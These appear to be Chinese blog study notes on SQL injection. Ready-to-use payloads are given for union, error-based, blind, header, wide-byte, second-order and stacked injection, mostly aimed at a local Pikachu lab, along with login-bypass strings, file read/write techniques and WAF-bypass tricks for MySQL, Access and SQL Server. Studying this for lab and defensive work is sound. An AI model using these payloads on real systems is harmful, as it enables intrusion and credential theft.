Chosen1|安全

SQL注入

注入要跟在注入点后面

sql注入的产生过程及常见原因

大型的web开发项目会出现这样的问题:有些开发人员会对输入进行验证,而一些开发人员则不以为然。对于开发人员,团队,甚至公司来说,彼此独立工作的情形并不少见,很难保证项目中每个人都遵循相同的标准。 ​ 应用打开发人员还倾向于围绕用户来设计应用,他们尽可能的使用预期的处理流程来引导用户,认为用户将遵循他们已经设计好的逻辑顺序。 ​ 例如:当用户已到达一系列表单中的第三个表单时,他们会期望用户肯定已经完成第一个和第二个表达。但实际上,借助URL乱序来请求资源,能够非常容易的避开预期的数据流程

顺序union>报错>bool>time

先判度注入类型,判断怎么闭合

判断依据为若前面确定为真则可以用and来进行拼接真假语句

若前面不能确定为真则用or

and 1=1 --+ 或 or 1=1 --+ 我们来通过修改前面的闭合符号 并修改 1=1 和 1=2 页面的不同来判断我们有没有闭合成功

或这么判断也是观察页面的变化,有变化就是带入了

一般注入

可以用引号进行测试是字符串还是数字型
分析注入点:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12312''' at line 1
''12312''' --->去掉最外层的一对引号 '123''   -->可以看出是单引号包裹的 字符类型注入

闭包需要查看源码看有没有引号括号来进行有针对的闭包

Select * from users where id= 1”

思路

布尔盲注拼接真假语句
Select * from users where id = 1” and 1=1 --+   注释类型
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=' or '1'='1&submit=敥询 闭包型

万能密码
3组
用户名已知:
用户名 Admin 密码 1’ or ‘1’=‘1
用户名 Admin'or'1'='1 密码 随便写

可用注释符号:
用户名 'or 1=1 --+ 密码 随便输入

用户名未知:
用户名 1'or'1'or'1 密码 随便输

万能密码原理

union联合查询

原理是让前面的查询结果为空走后面的union查询

但是我们需要让联合查询后面的字段数和主查询一致

所以我们需要下先进行BOOL盲注来保证前面的主查询为正确的但是查询结果为空

下一步在后面使用order by 配合二分法试出有几个字段数

最后我们使用联合查询http://localhost/pikachu/vul/sqli/sqli strphp?name=0' union select 1,2 --+&submit=查询

注意我们union select 后面的字段数就算没有值也需要和用值来占位,否者报错

如果字段数比较多我们需要先确认那几个是显示位

确认输出位后我们可以拿数据库函数来替换占位的值

后面我们就可以结合元数据库来进行查值

具体思路就是我们需要先知道是哪个数据库,再查询是哪个表名(table_name),之后进入表中拿出表头(column_name),来进行我需要那些数据,过程都可以使用group_concat来进行一行来输出

之后我们就可以看输出位有几个来进行我们想要获取到的值

特殊情况,如果是数字型,后端对引号做了过滤,我们可以采用十六进制来进行编译老师写的步骤代码:

尝试先获取当前的数据库名
1. 判断查询语句的列数 (保证当前语句有查询结果的情况下拼接order by 测试)
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312' or 1=1 order by 1 --+&submit=敥询
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312' or 1=1 order by 2 --+&submit=敥询
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312' or 1=1 order by 3 --+&submit=敥询
当使用第3列测试,页面出现错误, 或者内容不显示的情况, 说明当前就只用2列

2. 实现查询结果为假 , 没有结果
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312'   order by 2 --+&submit=敥询

3.拼接union , 查看显示位
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312'   union select 1,2 --+&submit=敥询

4. 在显示位的位置嵌入查询当前数据库名的代码
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312'   union select database(),2 --+&submit=敥询
得到当前数据库为: pikachu

5. 开始借用系统默认库,获取pikachu 中的表名
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312'   union select table_name,2 from information_schema.tables where table_schema='pikachu'--+&submit=敥询
一般情况下,只能一行一行的输出,需要字符串连接函数来处理 或者 结合limit 一行一行的输出
limit
第一行
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312'   union select table_name,2 from information_schema.tables where table_schema='pikachu' limit 0,1--+&submit=敥询
第二行
http://192.168.1.163/pikachu/vul/sqli/sqli_str.php?name=12312'   union select table_name,2 from information_schema.tables where table_schema='pikachu' limit 1,1--+&submit=敥询

全部行一起取出来: 结合group_concat       httpinfo,member,message,users,xssblind
select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'

6. 分析表中可能存储什么数据,一般获取 重要数据 users
直接全部一次性获取   id,username,password,level
select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

如果在数字型注入过程中,后端对引号做了过滤,那么条件中写的字符串可以转为16进制方式
select group_concat(column_name),2 from information_schema.columns where table_schema=0x700069006B006100630068007500 and table_name=0x75007300650072007300

7. 获取具体的数据
select group_concat(username),group_concat(password) from users
账号:admin,pikachu,test
密码:e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03

报错注入

利用前提 没有显示位,但是又输出SQL语句执行错误的函数例如mysql_error 优点不需要显示位,缺点以来SQL语句报错函数

把你想要的值通过报错输出回来

有三个常有函数

floor() count()不会计算空值 concat中的0x7e必须带,报错的关键,分割字符串可以在concat前面使用substr mid等 相关详细解释参考网址 https://www.cnblogs.com/sfriend/p/11365999.htmlhttp://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=' or (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))) --+&submit=敥询

extractvalue(xml_document,xpath_string) xml_document(string格式,是xml的文档名称) xpath_string(xpath格式字符串,可以替换成你要输出的函数) concat中的0x7e必须带,报错的关键,分割字符串可以在concat前面使用substr mid等?id= 1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

1’ and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))) #

updataxml(xml_document,xpath_string,new_value) xml_document(string格式,是xml的文档名称) xpath_string(xpath格式字符串,可以替换成你要输出的函数) new_value(替换的值) concat中的0x7e必须带,报错的关键,分割字符串可以在concat前面使用substr mid等?id= 1' and updatexml(1,concat(Ox7e,(select database()),0x7e),1) --+

盲注

先获取当前字符串长度,再去获取字符串,每一个字符

利用前提 没有回显位,没有输出SQL语句执行错误函数,只能通过页面返回正常不正常来注入 优点不需要显示位,不需要SQL执行错误函数 ,缺点 速度慢,时间长

盲注分为基于布尔和基于SQL

一般这种情况就需要使用,盲注(很像正常网站)

先用?name=' or length(database())>5 limit 1 --+来判断数据库名称长度,注意源码是不是限制输出一行

再来截取database(),一般我们转换为ascii来用二分法来判断

?name=lucy' and ascii(substr(database(),2,1))>105 --+

还可以不使用ascii,直接来判断字符相不相等

?name=lucy' and mid(database(,1,1)='p'--+

也可以使用正则来对比

?name=' or database() regexp '^p' limit 1 --+ 正则的表达式需要带引号

还可以使用like来判断

?name=' or database() like 'p%' limit 1 --+ 也是需要带引号

时间盲注

利用前提:没有显示位,没有输出SQL语句错误函数,正确的SQL和错误的SQL的返回页面都一样,但是加入sleep(5),响应时间有区别

缺点,速度慢 优点,不需要显示位,不用出错信息

其他注入

post注入方法

在这里就可以进行post注入,之后就可以走正常流程

宽字节注入

限制条件数据库需为GBK编码

使用场景,如果代码中在sql语句前面有addslashes()函数,就需要使用宽字节方法来进行注入

解决办法,利用数据库GBK编码的特性,前面加上一些东西会把后面的addslashes处理出来的\识别成中文字符

%df 对应的是汉字字符 "继"

之后再进行各种注入方式

注意事项

base64注入

如果网站传参值有大写小写等号的大概率是base64编码,而且可能是二次base64编码

适用情况:当传递参数被base64加密后传输的情况

和平时基本没有区别就是你输入的需要先经过base64编码一下再传输

搜索型注入

一般是在搜索框,传输的变量格式为%name%因为两边都有引号,所以需要在后面既补%也看情况补'

注入过程

和正常注入没有太多区别基本一致

cookie注入

需要他传请求包的时候有cookie

我们相当于是咋cookie中注入,因为他需要把cookie拿到数据库中进行对比

也是基本和普通注入没有什么区别,就是注入点有区别

HTTP头部注入User-Agent

需要注意的点,因为user-agent不是在最后,所以后面不能使用注释,只能使用补全引号,使用报错注入,但是因为该注入没有引号所有需要让'1'='1在最后面,他们之间使用and连接来保证都为真

x-forwarded-for注入 (level 18)

一般在头部的注入先抓包发到repeater,其他的搞不了

步骤也是直接上引号进行判断怎么闭合是字符型还是数字型,一般带括号要小心,有可能是添加语句,不能使用注释,之后就可以在两段闭合中间按情况使用各种注入

referer注入(level 19)

也是头部注入,所以需要抓包,进repeater来进行测试

剩余步骤与x-forward-for相似只是注入位置换成了referer

二次注入(level 24)

二次注入主要就是使用addslashes函数或者get_magic_quotes_gpc对注入语句中的特殊字符进行转义,但是addslashes的转义并不会插入到数据库中,借用这点在进行调用的时候进行注入

无法在黑盒和网页前端代码中测试出来,也无法使用测试工具,因为需要确认注入点,不知道什么时候调用这个值,语句未知,扫描工具不会二次检测

可以运用这个漏洞把注入写到用户名中,例如:

但是注意会有限制代码长度,前端的话改一下就可以了,后端没办法

注释符使用-- - 也是可以的

补充:dnslog注入

注入需要高权限,因为需要有文件读取的功能

多语句注入堆叠注入(level 38)

一定要是后台使用的是mysql_multi_query()这个多语句查询函数,否则无法实现

堆叠注入是分数据库的有的支持有的不支持

原理:;既是上一句语句的结束,又是下一句语句的开始

堆叠也就是多条语句的注入

可以往数据库中执行命令,也可以写入或读取文件

用处:

也可以用来自己添加管理员账户

读文件

确认是否有权限

secure-file-priv   - 如果文件导入不成功,确认Mysql配置文件my.ini下存在secure-file-priv   - secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

简单来说就是在进行union查询的时候使用load_file/into dumpfile/outfile

写文件

outfile有自己的输出格式,只会按照自己的走

二进制写文件

防御

手动过滤

WAF过滤

sqlmap如何使用

使用示例

waf绕过

SQL注入绕过WAF的四种思路

第一种:内联注释正常绕过:

确定字符类型后再通过使用注释构建我们的语句从而绕过WAF进入到数据库当中.使用/* !五位数字,但首位数字不能大于版本号 关键字 */来构建我们的语句(经验之谈注释内容4的次数多一点),把关键字包裹在注释里面,具体看下面的PPT截图一定要灵活运用,还要考虑到关键字替换 替换值换成一般不会存在的值例如-1=-1

先判断注入是字符型还是数字型

第二种:内联反向思维绕过:

就是与第一种方法有点反着来的,第一种是通过在注释当中添加我们的语句,从而绕过WAF,把我们的语句当作参数带到后端代码然后带入数据库去执行,为什么我们写的是注释里面添我们的语句,而数据库只拿到了我们的语句,没有拿到注释?因为在当绕过WAF后,后端在处理的时候,只会把参数值给带出来,会把其他的字符给过滤掉,不看.

而这第二种方式就是专门用特殊格式来把我们的语句给包裹起来,从而让WAF误认为我们的语句与那个特殊语句是一条,从而避免了过滤我们的语句,跟第一种的区别在于,第一个是把语句写在注释语句里面,第二个是把语句用注释语句给包裹起来,同时第二个里面注释的语句的5位数字的第一位必须大于版本号,否则即使绕过了WAF也不能在数据库当中成功执行.

注意除了注释目标换了其他与方式一基本相同,剩余步骤也与方式一相似

第三种:GET传参绕过:

就是通过构造一个不存在的参数,使得它的值等于我们的用注释包裹的语句,而当WAF检测时,会发现这个参数并不存在,且后面的值是注释掉的,从而放参数过去,而到了后端,又只会拿存在的参数的值,就会不看那个不存在的参数,只会拿我们的语句当中的那个存在的参数,所以,为了让它认识到注释里面的是一个参数,必须在这个存在的参数名前面加上一个&,然后后面的语句就与正常的union的格式一样,--+也写在注释里面.

相当于在问号后面连接一个不认识的参数,之后在后面的注释中写咱们正确的语句,但是前面需要使用&符号连接

第四种:URL编码绕过:

就是把例如%!字母使用/* */包裹 或 /* URL编码 */ 来进行干扰,关键字在注释外面

其他绕过方法

ACCESS数据库(大概率语言为asp)

关键函数

注入流程

联合查询注入

也是拼接真假语句,但是难度在于我们要猜表名,字段名,来观察页面返回是否正常来进行判断

必须带上猜测的表名,没有数据库

联合查询时如果想要第二行以后的需要where id>1 和top 1 进行配合,因为这里没有limit

在select后面加上top 1空格后面跟上想要的值或者占位符

布尔盲注

payload

判断数据库类型: and (select count(*) from msysobjects)>0 (返回错误则为access数据库)

猜解表名: and exists (select * from admin) (返回正确则存在admin表,返回错误则不存在)

猜解字段: and exists (select username from admin)(若无出错则证明存在username字段)

猜解用户名长度: and (select top 1 len(username) from admin)>0
(用数字替换0,直到返回非正常页面,数字为多少用户名长度就为多少)

猜解密码长度:and (select top 1 len(password) from admin)>0
(用数字替换0,直到返回非正常页面,数字为多少密码长度就为多少)

猜解用户名内容: and(select top 1 asc(mid(username,1,1))from admin)=97
(若返回正常,说明username的第一位内容是ASC码的97,也就是a,猜第二位把username,1,1改成username,2,1就可以了) and(select top 1 asc(mid(username,2,1))fromadmin)=100(若返回正常,说明username的第二位内容是ASC码的100,也就是d,以此类推,便可得到用户名)

猜解密码内容:and(select top 1 asc(mid(password,1,1))from admin)=52
(若返回正常,说明password的第一位内容是ASC码的52,也就是4,猜第二位把password,1,1改成
password,2,1就可以了)
and(select top 1 asc(mid(password,2,1))from admin)=54
(若返回正常,说明password的第二位内容是ASC码的54,也就是6,以此类推得到MD5密码,进行破解后获取
原始密码)

sqlserver

怎么判断

关键表特性

关键函数

注入流程

payload

枚举数据库名信息master..sysdatabases表中存放着数据库上的所有数据库名信息
select name from master..sysdatabases

获取当前数据库名称
select db_name()

获取jiaofan数据库中的表名信息。 sysobjects中存放着数据库中所有表名信息包括系统表 ,xtype='U' U是
指用户表
select name from jiaofan..sysobjects where xtype='U' xtype各个类型含义:https://blog.csdn.net/JHHJA/article/details/6239590?utm_source=blogxgwz6

获取关键表中的列名信息。syscolumns中放着数据库所有列名信息包括系统表
select name from jiaofan..syscolumns where id=(select id from jiaofan..sysobjects where
name='sl_user')
joining table的实现方法:
select a.name from jiaofan..syscolumns a,jiaofan..sysobjects b where b.name ='sl_user' and
a.id=b.id

获取关键字段中的数据
select shouji,mima from sl_user

联合查询

注意需要相似的类型

Views: 4

退出移动版